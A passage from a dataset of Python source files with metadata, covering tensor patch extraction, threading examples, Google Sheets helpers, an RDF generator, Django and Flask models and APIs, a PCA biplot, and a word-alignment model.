j*s:j*s+ps].squeeze(dim=0))\n # else:\n for i in range(hs+1):\n if (i == hs):\n st_i = h - ps\n else:\n st_i = i * s\n for j in range(ws+1):\n if (j == ws):\n st_j = w - ps\n else:\n st_j = j * s\n inputs_list.append(inputs[:, :, st_i:st_i+ps, st_j:st_j+ps].squeeze(dim=0))\n batched_inputs = torch.stack(inputs_list, dim=0)\n\n return batched_inputs\n\n\ndef extract_patch_trasnform_inference_gather(batched_outputs, FOV, dims=2, patch_size=128, stride=64):\n assert isinstance(batched_outputs, torch.Tensor)\n wgt = torch.zeros_like(FOV)\n ps = patch_size\n s = stride\n\n if dims == 2:\n b, c, h, w = FOV.shape\n hs = ((h - ps) // s) + 1\n ws = ((w - ps) // s) + 1\n flg = 0\n for i in range(hs + 1):\n if (i == hs):\n st_i = h - ps\n else:\n st_i = i * s\n for j in range(ws + 1):\n if (j == ws):\n st_j = w - ps\n else:\n st_j = j * s\n FOV[:, :, st_i:st_i+ps, st_j:st_j+ps] += batched_outputs[flg, :, :, :]\n wgt[:, :, st_i:st_i+ps, st_j:st_j+ps] += 1\n flg += 1\n\n FOV /= wgt\n else:\n NotImplementedError(\"Only dim=2 implemented\")\n\n return FOV.squeeze()\n","sub_path":"data/data_transforms.py","file_name":"data_transforms.py","file_ext":"py","file_size_in_byte":29180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"530292097","text":"# coding=UTF-8\n#使用多进程和不使用多进程的差别\n\"\"\"\n#不使用多进程\nfrom random import randint\nfrom time import time,sleep\n\ndef download_task(filename):\n\tprint('开始下载%s...'%filename)\n\ttime_to_download = randint(5,10)\n\tsleep(time_to_download)\n\tprint('%s下载完成,耗时%d秒。'%(filename,time_to_download))\n\ndef main():\n\tstart_time = time()\n\tdownload_task('python从入门到住院.pdf')\n\tdownload_task('Tokyo Hot.avi')\n\tend_time = time()\n\tprint('总耗时%f秒'%( end_time - start_time))\n\nif __name__ == '__main__':\n\tmain()\n\n#使用多进程\nfrom multiprocessing import Process\nfrom os import getpid\nfrom random import randint\nfrom time import time,sleep\n\ndef download_task(filename):\n\tprint('启动下载进程,进程号[%d].'%getpid())\n\tprint('开始下载%s...'%filename)\n\ttime_to_download = randint(5,10)\n\tsleep(time_to_download)\n\tprint('%s下载完成,耗时%d秒。'%(filename,time_to_download))\n\ndef main():\n\tstart_time = time()\n\tp1 = Process(target=download_task,args=('python从入门到住院.pdf',))\n\tp1.start()\n\tp2 = Process(target=download_task,args=('Tokyo Hot.avi',))\n\tp2.start()\n\tp1.join()\n\tp2.join()\n\tend_time = time()\n\tprint('总耗时%f秒'%( end_time - start_time))\n\nif __name__ == '__main__':\n\tmain()\n\n\n#两个进程一个人输出ping,一个输出pong,一共输出10个,Queue是一个共享队列\nfrom multiprocessing import Process,Queue\nfrom time import sleep\n\ndef sub_task(string,counts):\n\t\n\twhile counts.qsize() < 10:\n\t\tprint(string,end=' ',flush=True)\n\t\tcounts.put(1)\n\t\tsleep(0.01)\ndef main():\n\tcounts = Queue()\n\tProcess(target=sub_task,args=('Ping',counts)).start()\n\tProcess(target=sub_task,args=('pong',counts)).start()\n\nif __name__ == '__main__':\n\tmain()\n\"\"\"\nfrom time import sleep\nfrom threading import Thread,Lock\n\nclass Account(object):\n\t\"\"\"docstring for ClassName\"\"\"\n\tdef __init__(self):\n\t\tself._balance = 0\n\t\tself._lock = Lock()\n\tdef deposit(self,money):\n\t\t#计算存款后的余额\n\t\tself._lock.acquire()\n\t\ttry:\n\t\t\tnew_balance = self._balance + money\n\t\t\tsleep(0.01)\n\t\t\tself._balance = new_balance\n\t\tfinally:\n\t\t\tself._lock.release()\n\n\t@property\n\tdef balance(self):\n\t\treturn self._balance\n\nclass AddMoneyThread(Thread):\n\t\"\"\"docstring for AddMoneyThread\"\"\"\n\tdef __init__(self, account,money):\n\t\tsuper().__init__()\n\t\tself._account = account\n\t\tself._money = money\n\tdef run(self):\n\t \tself._account.deposit(self._money)\n\ndef main():\n\taccount = Account()\n\tthreads = []\n\tfor _ in range(100):\n\t\tt = AddMoneyThread(account,1)\n\t\tthreads.append(t)\n\t\tt.start()\n\tfor t in threads:\n\t\tt.join()\n\tprint('账户余额为¥%d元'%account.balance)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"jincheng&xiancheng.py","file_name":"jincheng&xiancheng.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"256516177","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 9 15:37:42 2021\n\n@author: JZ2018\n\"\"\"\n\nimport pandas as pd\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow,Flow\nfrom google.auth.transport.requests import Request\nimport os\nimport pickle\n\nSCOPES = ['https://www.googleapis.com/auth/spreadsheets']\n\n\ndef Gsheet_main(sheet_id, sheet_range):\n global values_input, service\n creds = None\n if os.path.exists('token.pickle'):\n with open('token.pickle', 'rb') as token:\n creds = pickle.load(token)\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'dk_id.json', SCOPES) # here enter the name of your downloaded JSON file\n creds = flow.run_local_server(port=0)\n with open('token.pickle', 'wb') as token:\n pickle.dump(creds, token)\n\n service = build('sheets', 'v4', credentials=creds)\n\n # Call the Sheets API\n sheet = service.spreadsheets()\n result_input = sheet.values().get(spreadsheetId=sheet_id,\n range=sheet_range).execute()\n values_input = result_input.get('values', [])\n\n if not values_input and not values_expansion:\n print('No data found.')\n\n\ndef Create_Service(client_secret_file, api_service_name, api_version, *scopes):\n global service\n SCOPES = [scope for scope in scopes[0]]\n #print(SCOPES)\n \n cred = None\n\n if os.path.exists('token_write.pickle'):\n with open('token_write.pickle', 'rb') as token:\n cred = pickle.load(token)\n\n if not cred or not cred.valid:\n if cred and cred.expired and cred.refresh_token:\n cred.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(client_secret_file, SCOPES)\n cred = flow.run_local_server()\n\n with open('token_write.pickle', 'wb') as token:\n pickle.dump(cred, token)\n\n try:\n service = build(api_service_name, api_version, credentials=cred)\n print(api_service_name, 'service created successfully')\n #return service\n except Exception as e:\n print(e)\n #return None\n \ndef Export_Data_To_Sheets(df, gsheetId, sheet_range):\n response_date = service.spreadsheets().values().append(\n spreadsheetId=gsheetId,\n valueInputOption='RAW',\n range=sheet_range,\n body=dict(\n majorDimension='ROWS',\n values=df.T.reset_index().T.values.tolist()[1:])\n ).execute()\n print('Sheet successfully Updated')\n \ndef Gsheet_Append(df, sheetid, sheet_range):\n Create_Service('dk_id.json', 'sheets', 'v4',['https://www.googleapis.com/auth/spreadsheets'])\n #dfnew = aeso_hpp[0:3]\n Export_Data_To_Sheets(df, sheetid, sheet_range)\n \ndef Gsheet_Download(sheet_id, sheet_range):\n Gsheet_main(sheet_id, sheet_range)\n df_output = pd.DataFrame(values_input[1:], columns=values_input[0])\n return df_output\n\ndef Gsheet_updateAll(df, sheet_id, sheet_range):\n Create_Service('dk_id.json', 'sheets', 'v4',['https://www.googleapis.com/auth/spreadsheets'])\n service.spreadsheets().values().clear(spreadsheetId=sheet_id,range=sheet_range).execute()\n service.spreadsheets().values().append(\n spreadsheetId=sheet_id,\n valueInputOption='RAW',\n range=sheet_range,\n body=dict(\n majorDimension='ROWS',\n values=df.T.reset_index().T.values.tolist())\n ).execute()\n print('Sheet successfully cleared and replaced')\n","sub_path":"gsheet_fun.py","file_name":"gsheet_fun.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"32701345","text":"from rdflib import Graph, URIRef, Literal\nfrom rdflib.namespace import Namespace, OWL, RDF, RDFS\n\nimport os\n\nfrom onto_orient_prog.exceptions import NoOntologyFoundError, NoDefinedClasses\nfrom onto_orient_prog.serializers import LiteralAttribute, SuperClassAttribute, ClassSerializer, ModuleSerializer, \\\n ObjectAttribute\nfrom onto_orient_prog.utility import split_uriref, known_prefixes\n\nfrom typing import Set, List\n\n\nVANN = Namespace('http://purl.org/vocab/vann/')\n\n\nclass Generator(object):\n\n def __init__(self, base: str, ontology: str):\n self.g: Graph = Graph()\n self.g.parse(source=ontology)\n\n self._classes: List[ClassSerializer] = list()\n self._defined_classes: Set[str] = set()\n self._needed_superclasses: Set[str] = set()\n\n self._base_module: ModuleSerializer = ModuleSerializer(None, base)\n self._generate_modules()\n\n def _extract_ontology_namespace(self, subject) -> str:\n namespace = None\n if (subject, VANN.preferredNamespaceUri, None) in self.g:\n namespace = self.g.triples((subject, VANN.preferredNamespaceUri, None))[0][2].value\n\n if namespace is None:\n namespace, _ = split_uriref(subject)\n\n return namespace\n\n def _extract_ontology_prefix(self, subject: URIRef, namespace: str) -> str:\n prefix: str = None\n if (subject, VANN.preferredNamespacePrefix, None) in self.g:\n prefix = self.g.triples((subject, VANN.preferredNamespacePrefix, None))[0][2].value\n\n if prefix is None:\n prefix = known_prefixes()[namespace]\n\n return prefix\n\n def _generate_modules(self):\n ontology_triples = list(self.g.triples((None, RDF.type, OWL.Ontology)))\n ontology_classes: List[URIRef] = list()\n if len(ontology_triples) == 0:\n raise NoOntologyFoundError(\"No owl:Ontology defined in the defined graph.\")\n else:\n for triple in ontology_triples:\n ontology_classes.append(triple[0])\n\n for ontology in ontology_classes:\n namespace = self._extract_ontology_namespace(ontology)\n prefix = self._extract_ontology_prefix(ontology, namespace)\n\n module = ModuleSerializer(self._base_module, prefix)\n\n defined_classes: List[URIRef] = list(map(lambda x: x[0], self.g.triples((None, RDFS.isDefinedBy, ontology))))\n print(defined_classes)\n if len(defined_classes) == 0:\n raise NoDefinedClasses(\"No classes are defined by this ontology in the provided graph.\")\n else:\n for ontology_class in defined_classes:\n print(ontology_class)\n owl_classes = list(map(lambda x: x[0],\n self.g.triples((ontology_class, RDF.type, OWL.Class))))\n print(owl_classes)\n for owl_class in owl_classes:\n module.add_class(self._generate_class(module, owl_class))\n\n self._base_module.add_sub_module(module)\n\n def _generate_class(self, module: ModuleSerializer, owl_class: URIRef) -> ClassSerializer:\n class_triples = list(self.g.triples((owl_class, None, None)))\n namespace, name = split_uriref(str(owl_class))\n this = ClassSerializer(module, namespace, name)\n for triple in class_triples:\n if isinstance(triple[2], Literal):\n attribute = LiteralAttribute(triple[1], triple[2])\n this.add_literal_attribute(attribute)\n elif isinstance(triple[2], URIRef):\n if triple[1] == RDFS.subClassOf:\n this.add_super_class(SuperClassAttribute(triple[1], triple[2]))\n else:\n this.add_object_attribute(ObjectAttribute(triple[1], triple[2]))\n else:\n print(triple)\n\n if not this.has_super_class:\n this.add_super_class(SuperClassAttribute(RDFS.subClassOf, RDFS.Resource))\n\n return this\n\n def _generate_superclasses(self):\n\n while self._needed_superclasses not in self._defined_classes:\n pass\n\n @property\n def module(self) -> ModuleSerializer:\n return self._base_module\n\n\n\n\n","sub_path":"onto_orient_prog/serializer_generator.py","file_name":"serializer_generator.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"634750390","text":"import datetime, os, uuid\nfrom django.contrib.auth import get_user_model\nfrom django.db import models\nfrom django.db.models import Q\nfrom markdown2 import markdown\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext as _\n\n\ndef get_image_upload_path(instance, filename):\n ext = filename.split('.')[-1]\n filename = \"%s.%s\" % (uuid.uuid4(), ext)\n path = 'uploads' + datetime.datetime.today().strftime('/%Y/%m/%d/')\n return os.path.join(path, filename)\n\n\nclass PostQuerySet(models.QuerySet):\n def published(self):\n return self.filter(Q(is_published=True))\n\n\nclass Post(models.Model):\n CONTENT_SEPARATOR = ''\n author = models.ForeignKey(get_user_model(),\n editable=False,\n verbose_name=_('Author'),\n related_name='all', # user.entries.all()\n on_delete=models.CASCADE)\n image = models.ImageField(upload_to=get_image_upload_path,\n blank=True,\n help_text=_('Post image'),\n verbose_name=_('Post image'))\n title = models.CharField(max_length=255,\n help_text=_('255 characters'),\n verbose_name=_('Title'))\n slug = models.SlugField(unique_for_date='pub_date',\n help_text=_('Post slug, unique for post date'),\n verbose_name=_('Slug'))\n html_excerpt = models.TextField(editable=False,\n blank=True)\n html_content = models.TextField(editable=False,\n blank=True)\n markdown_content = models.TextField(help_text='',\n verbose_name=_('Post full text'))\n tags = models.ManyToManyField('Tag',\n verbose_name=_('Tags'),\n blank=True,\n related_name='all') # tag.entries.all()\n pub_date = models.DateTimeField(auto_now=False,\n auto_now_add=False,\n default=timezone.now,\n verbose_name=_('Publication date'))\n is_published = models.BooleanField(default=False,\n verbose_name=_('Published'))\n hits = models.IntegerField(default=0, editable=False)\n objects = PostQuerySet.as_manager()\n\n class Meta:\n verbose_name = _('post')\n verbose_name_plural = _('posts')\n\n def __str__(self):\n return self.title\n\n def add_hits(self):\n # Posts view counter\n if self.hits is not None:\n self.hits += 1\n self.save()\n else:\n self.hits = 0\n\n def save(self, *args, **kwargs):\n if self.CONTENT_SEPARATOR in self.markdown_content:\n excerpt, content = self.markdown_content.split(self.CONTENT_SEPARATOR, 1)\n self.html_excerpt = markdown(excerpt)\n self.html_content = markdown(content)\n else:\n self.html_excerpt = ''\n self.html_content = self.markdown_content\n\n super(Post, self).save()\n\n\nclass Tag(models.Model):\n title = models.CharField(max_length=255,\n help_text=_('255 symbols max'),\n verbose_name=_('Tag name'))\n slug = models.SlugField(unique=True,\n verbose_name=_('Slug'))\n\n class Meta:\n verbose_name = _('Tag')\n verbose_name_plural = _('Tags')\n\n def __str__(self):\n return self.title\n","sub_path":"blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"571708691","text":"import threading\n\n\nclass MyThread(threading.Thread):\n def run(self):\n print('thread' + str(self.getName()))\n\n\nif __name__ == '__main__':\n tl = list()\n for i in range(10000):\n mt = MyThread()\n mt.setName(i)\n tl.append(mt)\n\n for mt in tl:\n mt.start()\n\n\n","sub_path":"tests/thread/MyThread.py","file_name":"MyThread.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459409775","text":"import datetime\nimport requests \nimport geocoder\n\nfrom flask_restplus import Resource, reqparse\nfrom models.store import StoreModel\n#from ...import config\n\nfrom config import MAPQUEST_API_KEY\n\nclass StoreAPI(Resource):\n def post(self):\n parser = reqparse.RequestParser()\n\n parser.add_argument('name', type=str, required = True, help=\"Field name cannot be empty\")\n parser.add_argument('phone', type=str, required = True, help=\"Field phone cannot be empty\")\n parser.add_argument('street', type=str, required = True, help=\"Field street cannot be empty\")\n parser.add_argument('city', type=str, required = True, help=\"Field city cannot be empty\")\n parser.add_argument('state', type=str, required = True, help=\"Field state cannot be empty\")\n parser.add_argument('zipcode', type=int, required = True, help=\"Field zipcode cannot be empty\")\n parser.add_argument('open', type=str, required = True, help=\"Field open cannot be empty\")\n parser.add_argument('close', type=str, required = True, help=\"Field close cannot be empty\")\n\n payload = parser.parse_args()\n\n open_at = datetime.datetime.strptime(payload['open'], '%H:%M:%S')\n close_at = datetime.datetime.strptime(payload['close'], '%H:%M:%S')\n\n lat, lng = GeoMapping.get_coordinates(payload['street'], payload['city'], payload['state'], payload['zipcode'])\n\n store = StoreModel(payload['name'], payload['phone'], payload['street'], payload['city'], payload['state'], payload['zipcode'], lat, lng, open_at, close_at)\n store.save()\n \n return {\n 'status' : 'ok',\n 'message' : 'Store created without issues',\n 'record' : store.json() \n }, 201 \n\nclass Store(Resource):\n def get(self, _id):\n store = StoreModel.find_by_id(_id)\n\n if store:\n return store.json()\n else:\n return {\n 'status' : 'error',\n 'message' : f'Store {_id} not found'\n }, 404\n\n def delete(self, _id):\n store = StoreModel.find_by_id(_id)\n\n if store:\n store.delete()\n\n return {\n 'status': 'ok',\n 'message' : f'Store {_id} deleted'\n }\n else:\n return {\n 'status' : 'error',\n 'message' : f'Store {_id} not found'\n }, 404\n\n def put(self, _id):\n parser = reqparse.RequestParser()\n\n parser.add_argument('name', type=str, required = False, help=\"Field name cannot be empty\")\n parser.add_argument('phone', type=str, required = False, help=\"Field phone cannot be empty\")\n parser.add_argument('street', type=str, required = False, help=\"Field street cannot be empty\")\n parser.add_argument('city', type=str, required = False, help=\"Field city cannot be empty\")\n parser.add_argument('state', type=str, required = False, help=\"Field state cannot be empty\")\n parser.add_argument('zipcode', type=int, required = False, help=\"Field zipcode cannot be empty\")\n parser.add_argument('open', type=str, required = False, help=\"Field open cannot be empty\")\n parser.add_argument('close', type=str, required = False, help=\"Field close cannot be empty\")\n\n store = StoreModel.find_by_id(_id)\n\n if store:\n payload = parser.parse_args()\n\n if payload.get('name') is not None: store.name = payload['name']\n if payload.get('phone') is not None: store.phone = payload['phone']\n if payload.get('street') is not None: store.street = payload['street']\n if payload.get('city') is not None: store.city = payload['city']\n if payload.get('state') is not None: store.state = payload['state']\n if payload.get('zipcode') is not None: store.zipcode = payload['zipcode']\n if payload.get('open') is not None: store.open = datetime.datetime.strptime(payload['open'], '%H:%M:%S')\n if payload.get('close') is not None: store.close = datetime.datetime.strptime(payload['close'], '%H:%M:%S')\n \n if ((payload.get('street') is not None) and (payload.get('city') is not None) and (payload.get('state') is not None) and (payload.get('zipcode') is not None)):\n lat, lng = GeoMapping.get_coordinates(payload['street'], payload['city'], payload['state'], payload['zipcode'])\n\n store.lat = lat\n store.lng = lng\n \n store.save()\n\n return {\n 'status': 'ok',\n 'message' : f'Store {_id} changed'\n }\n else:\n return {\n 'status' : 'error',\n 'message' : f'Store {_id} not found'\n }, 404\n\nclass StoreList(Resource):\n def get(self):\n return { 'stores' : [store.json() for store in StoreModel.query.all()]}\n\n\n\n\n\n\n\n\nclass GeoMapping():\n @staticmethod\n def get_coordinates(street, city, state, zipcode):\n\n g = geocoder.mapquest(f'{street}, {city}, {state}, {zipcode}', key=MAPQUEST_API_KEY)\n\n if g.ok:\n lat = g.json.get('lat', 0)\n lng = g.json.get('lng', 0)\n\n return (lat, lng)\n \n return (0, 0)\n \n \n \n","sub_path":"api/resources/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":5350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"542035624","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\"\"\"线性查找指按一定的顺序检查数组中每一个元素,直到找到所要寻找的特定值为止。\"\"\"\n\n\ndef search(arr, n, x):\n for i in range(0, n):\n if (arr[i] == x):\n return i\n return -1\n\n\nif __name__ == '__main__':\n # 在数组 arr 中查找字符 D\n arr = ['A', 'B', 'C', 'D', 'E']\n x = 'D'\n n = len(arr)\n result = search(arr, n, x)\n if (result == -1):\n print(\"元素不在数组中\")\n else:\n print(\"元素在数组中的索引为\", result)\n","sub_path":"python_base/PythonCode/Python实例/Python 线性查找.py","file_name":"Python 线性查找.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"550613254","text":"#Import the needed modules\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nimport matplotlib.pyplot as plt\nfrom matplotlib.mlab import PCA\nfrom scipy import stats\n\n\n\ndef biplot(score,coeff,labels=None):\n \"\"\"\n Author: Serafeim Loukas, EPFL, serafeim.loukas(at)epfl.ch, Last modified: 10/2017\n Input\n ------\n score: the scores (projected data onto the forst 2 components)\n coeff: the loadings (eigenvectors)\n \n Output\n ------\n plotting of the biplot\n \"\"\"\n xs = score[:,0]\n ys = score[:,1]\n n = coeff.shape[0]\n scalex = 1.0/(xs.max() - xs.min())\n scaley = 1.0/(ys.max() - ys.min())\n plt.scatter(xs * scalex,ys * scaley, c = y)\n for i in range(n):\n plt.arrow(0, 0, coeff[i,0], coeff[i,1],color = 'r',alpha = 0.5)\n if labels is None:\n plt.text(coeff[i,0]* 1.15, coeff[i,1] * 1.15, \"Var\"+str(i+1), color = 'g', ha = 'center', va = 'center')\n else:\n plt.text(coeff[i,0]* 1.15, coeff[i,1] * 1.15, labels[i], color = 'g', ha = 'center', va = 'center')\nplt.xlim(-1,1)\nplt.ylim(-1,1)\nplt.xlabel(\"PC{}\".format(1))\nplt.ylabel(\"PC{}\".format(2))\nplt.grid()\n \n# Example using Iris Dataset\t\n# Use Iris data to test the code\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\nX = stats.zscore(X)\n\n#Apply PCA and then use the biplot function to plot the biplot.\npca = PCA(X)\n\nbiplot(pca.Y[:,0:2],pca.Wt[:,0:2])\nplt.show()\n","sub_path":"biplot.py","file_name":"biplot.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"653756324","text":"from __future__ import division\nimport nltk\nimport A\nfrom nltk.align import AlignedSent\nfrom collections import defaultdict\n\nclass BerkeleyAligner():\n\n def __init__(self, align_sents, num_iter):\n self.t, self.q = self.train(align_sents, num_iter)\n\n # Computes the alignments for align_sent, using this model's parameters. Return\n # an AlignedSent object, with the sentence pair and the alignments computed.\n def align(self, align_sent):\n if self.t is None or self.q is None:\n raise ValueError(\"The model does not train.\")\n\n alignment = []\n\n # Get the length for each language\n l_e = len(align_sent.words)\n l_f = len(align_sent.mots)\n\n # For each word in the first language\n for j, en_word in enumerate(align_sent.words):\n \n # Initialize the maximum probability with Null token\n max_align_prob = (self.t[en_word][None]*self.q[0][j+1][l_e][l_f], None)\n # For each word in the second language\n for i, fr_word in enumerate(align_sent.mots):\n # Find out the maximum probability\n max_align_prob = max(max_align_prob,\n (self.t[en_word][fr_word]*self.q[i+1][j+1][l_e][l_f], i))\n\n # If the maximum probability is not Null token,\n # then append it to the alignment. \n if max_align_prob[1] is not None:\n alignment.append((j, max_align_prob[1]))\n\n return AlignedSent(align_sent.words, align_sent.mots, alignment)\n # Implement the EM algorithm. num_iters is the number of iterations. Returns the \n # translation and distortion parameters as a tuple.\n def train(self, aligned_sents, num_iters):\n\n # Initialize dictionaries for t and q\n t = {}\n q = {}\n\n # Get initial translation probability distribution\n # from a few iterations of Model 1 training.\n # Go through twice, 'f' (forward) to get values in one\n # direction E->F, and 'b' (backwards) to get the values\n # in another direction F->E. After this, set the value to\n # 'x' so the program knows to stop.\n val='f'\n t_eff=\"\"\n alignf=\"\"\n t_efb=\"\"\n alignb=\"\"\n while val!='x':\n # Run through ibm1 E->F\n if val=='f':\n ibm1 = IBMModel1(aligned_sents, 10, val)\n t_ef = ibm1.probabilities\n # Run through ibm1 F->E \n if val=='b':\n ibm1= IBMModel1(aligned_sents, 10, 'b')\n t_ef= ibm1.probabilities\n\n # Vocabulary of each language\n fr_vocab = set()\n en_vocab = set()\n for alignSent in aligned_sents:\n if val=='f':\n en_vocab.update(alignSent.words)\n fr_vocab.update(alignSent.mots)\n if val=='b':\n en_vocab.update(alignSent.mots)\n fr_vocab.update(alignSent.words)\n fr_vocab.add(None)\n\n # I tried setting this as the default for t_ef, but it made my AER jump up by .3, so I went back to using ibm1 to\n # initialize, which upon inspection seems to be giving each source sentence a uniform distribution, over the\n # number of words in the sentence, so this should be okay.\n #t_ef=defaultdict(lambda: defaultdict(lambda: 1.0/len(fr_vocab)))\n\n align = defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: float))))\n\n # Initialize the distribution of alignment probability,\n # a(i|j,l_e, l_f) = 1/(l_f + 1). This makes the initial alignments\n # 1/the length of the source sentence, so uniform distribution.\n for alignSent in aligned_sents:\n if val=='f':\n en_set = alignSent.words\n fr_set = [None] + alignSent.mots\n if val=='b':\n en_set = alignSent.mots\n fr_set = [None] + alignSent.words\n l_f = len(fr_set) - 1\n l_e = len(en_set)\n initial_value = 1 / (l_f + 1)\n for i in range(0, l_f+1):\n for j in range(1, l_e+1):\n align[i][j][l_e][l_f] = initial_value\n\n #Get counts\n for i in range(0, num_iters):\n count_ef = defaultdict(lambda: defaultdict(float))\n total_f = defaultdict(float)\n\n count_align = defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: 0.0))))\n total_align = defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: 0.0)))\n\n total_e = defaultdict(float)\n\n for alignSent in aligned_sents:\n if val=='f':\n en_set = alignSent.words\n fr_set = [None] + alignSent.mots\n if val=='b':\n en_set = alignSent.mots\n fr_set = [None] + alignSent.words\n l_f = len(fr_set) - 1\n l_e = len(en_set)\n\n # Normalization\n for j in range(1, l_e+1):\n en_word = en_set[j-1]\n total_e[en_word] = 0\n for i in range(0, l_f+1):\n total_e[en_word] += t_ef[en_word][fr_set[i]] * align[i][j][l_e][l_f]\n\n # Collect counts\n for j in range(1, l_e+1):\n en_word = en_set[j-1]\n for i in range(0, l_f+1):\n fr_word = fr_set[i]\n c = t_ef[en_word][fr_word] * align[i][j][l_e][l_f] / total_e[en_word]\n count_ef[en_word][fr_word] += c\n total_f[fr_word] += c\n count_align[i][j][l_e][l_f] += c\n total_align[j][l_e][l_f] += c\n\n # Estimate probabilities\n t_ef = defaultdict(lambda: defaultdict(lambda: 0.0))\n align = defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: 0.0))))\n\n # Do Laplacian moothing for alignments\n for alignSent in aligned_sents:\n if val=='f':\n en_set = alignSent.words\n fr_set = [None] + alignSent.mots\n if val=='b':\n en_set = alignSent.mots\n fr_set = [None] + alignSent.words\n l_f = len(fr_set) - 1\n l_e = len(en_set)\n\n laplace = 1.0\n for i in range(0, l_f+1):\n for j in range(1, l_e+1):\n value = count_align[i][j][l_e][l_f]\n if 0 < value < laplace:\n laplace = value\n\n laplace *= 0.5 \n for i in range(0, l_f+1):\n for j in range(1, l_e+1):\n count_align[i][j][l_e][l_f] += laplace\n\n initial_value = laplace * l_e\n for j in range(1, l_e+1):\n total_align[j][l_e][l_f] += initial_value\n\n # Estimate the new lexical translation probabilities\n for f in fr_vocab:\n for e in en_vocab:\n t_ef[e][f] = count_ef[e][f] / total_f[f]\n\n # Estimate the new alignment probabilities\n for alignSent in aligned_sents:\n if val=='f':\n en_set = alignSent.words\n fr_set = [None] + alignSent.mots\n if val=='b':\n en_set = alignSent.mots\n fr_set = [None] + alignSent.words\n l_f = len(fr_set) - 1\n l_e = len(en_set)\n for i in range(0, l_f+1):\n for j in range(1, l_e+1):\n align[i][j][l_e][l_f] = count_align[i][j][l_e][l_f] / total_align[j][l_e][l_f]\n if val=='b':\n t_efb=t_ef\n alignb=align\n val='x'\n if val=='f':\n t_eff=t_ef\n alignf=align\n val='b'\n\n \n # Get the translation averages of the two ibm2 models\n t=t_eff\n for f in fr_vocab:\n for e in en_vocab:\n t[e][f] = (t_eff[e][f]+t_efb[f][e])/2.0\n\n q=alignf\n # Get the distortion averages of the two ibm2 models\n for alignSent in aligned_sents:\n en_set = alignSent.words\n fr_set = [None] + alignSent.mots\n l_f = len(fr_set) - 1\n l_e = len(en_set)\n for i in range(0, l_f+1):\n for j in range(1, l_e+1):\n q[i][j][l_e][l_f] = ((alignf[i][j][l_e][l_f]*alignb[j][i][l_f][l_e])/2.0)\n \n\n return (t,q)\n\n\n\n\n# This is a complete ripoff of the IBMModel1 source code. All I have changed is that it runs through differently,\n# depending on if we are currently looking at E->F or F->E. This disctinction is made by passing in the variable\n# dir, where 'f' means E->F and 'b' means F->E.\nclass IBMModel1(object):\n\n def __init__(self, align_sents, num_iter, dir):\n self.probabilities = self.train(align_sents, num_iter, dir)\n\n def train(self, align_sents, num_iter, dir):\n \n # Vocabulary of each language\n fr_vocab = set()\n en_vocab = set()\n for alignSent in align_sents:\n if dir=='f':\n en_vocab.update(alignSent.words)\n fr_vocab.update(alignSent.mots)\n if dir=='b':\n en_vocab.update(alignSent.mots)\n fr_vocab.update(alignSent.words)\n # Add the Null token\n fr_vocab.add(None)\n\n # Initial probability\n init_prob = 1 / len(en_vocab)\n\n # Create the translation model with initial probability\n t_ef = defaultdict(lambda: defaultdict(lambda: init_prob))\n\n total_e = defaultdict(lambda: 0.0)\n\n for i in range(0, num_iter):\n count_ef = defaultdict(lambda: defaultdict(lambda: 0.0))\n total_f = defaultdict(lambda: 0.0)\n\n for alignSent in align_sents:\n if dir=='f':\n en_set = alignSent.words\n fr_set = [None] + alignSent.mots\n if dir=='b':\n en_set = alignSent.mots\n fr_set = [None] + alignSent.words \n\n # Compute normalization\n for e in en_set:\n total_e[e] = 0.0\n for f in fr_set:\n total_e[e] += t_ef[e][f]\n\n # Collect counts\n for e in en_set:\n for f in fr_set:\n c = t_ef[e][f] / total_e[e]\n count_ef[e][f] += c\n total_f[f] += c\n\n # Compute the estimate probabilities\n for f in fr_vocab:\n for e in en_vocab:\n t_ef[e][f] = count_ef[e][f] / total_f[f]\n\n return t_ef\n\n\n\n\n\n\n\n\ndef main(aligned_sents):\n ba = BerkeleyAligner(aligned_sents, 10)\n A.save_model_output(aligned_sents, ba, \"ba.txt\")\n avg_aer = A.compute_avg_aer(aligned_sents, ba, 50)\n\n print ('Berkeley Aligner')\n print ('---------------------------')\n print('Average AER: {0:.3f}\\n'.format(avg_aer))\n","sub_path":"Machine translator/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":11729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"642568005","text":"import numpy as np\nimport scipy.signal\nimport simulation\n\ndef get_monte_carlo(ConfigObj, 